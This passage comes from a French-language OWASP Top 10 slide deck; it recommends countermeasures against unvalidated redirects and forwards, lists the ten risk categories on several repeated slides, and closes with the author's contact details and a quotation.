  • 91. Contre-­‐Mesures ★ Eviter  au  maximum  les  redirec6ons  et  les   transferts ★ S’il  faut  absolument  les  intégrer,  ne  pas  u6liser  les   paramètres  parvenant  d’un  u6lisateur  pour  définir   l’URL/fonc6on  cible. ★ Si  vous  “devez”  u6liser  les  paramètres  u6lisateurs,   • Valider  chaque  paramètre  pour  vérifier  qu’il  est  autorisé  et   valide  par  rapport  à  l’u6lisateur,  ou  alors   • U6liser  une  table  de  correspondance  serveur  entre  les   paramètres  u6lisateurs  et  les  pages  à  appeler. ★ Pour  les  redirec6ons,  valider  l’URL  cible  après  la   construc6on  pour  vérifier  qu’elle  redirige  bien   vers  un  site  autorisé  ! 48Saturday, March 2, 13
  • 92. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10Saturday, March 2, 13
  • 93. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10Saturday, March 2, 13
  • 94. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10Saturday, March 2, 13
  • 95. Vous pouvez donc vous protéger de lui maintenant... • @SPoint • sebas6en.gioria@owasp.orgSaturday, March 2, 13
  • 96. Vous pouvez donc vous protéger de lui maintenant... • @SPoint • sebas6en.gioria@owasp.orgIl ny a quune façon déchouer, cest dabandonner avant davoir réussi [Olivier Lockert]Saturday, March 2, 13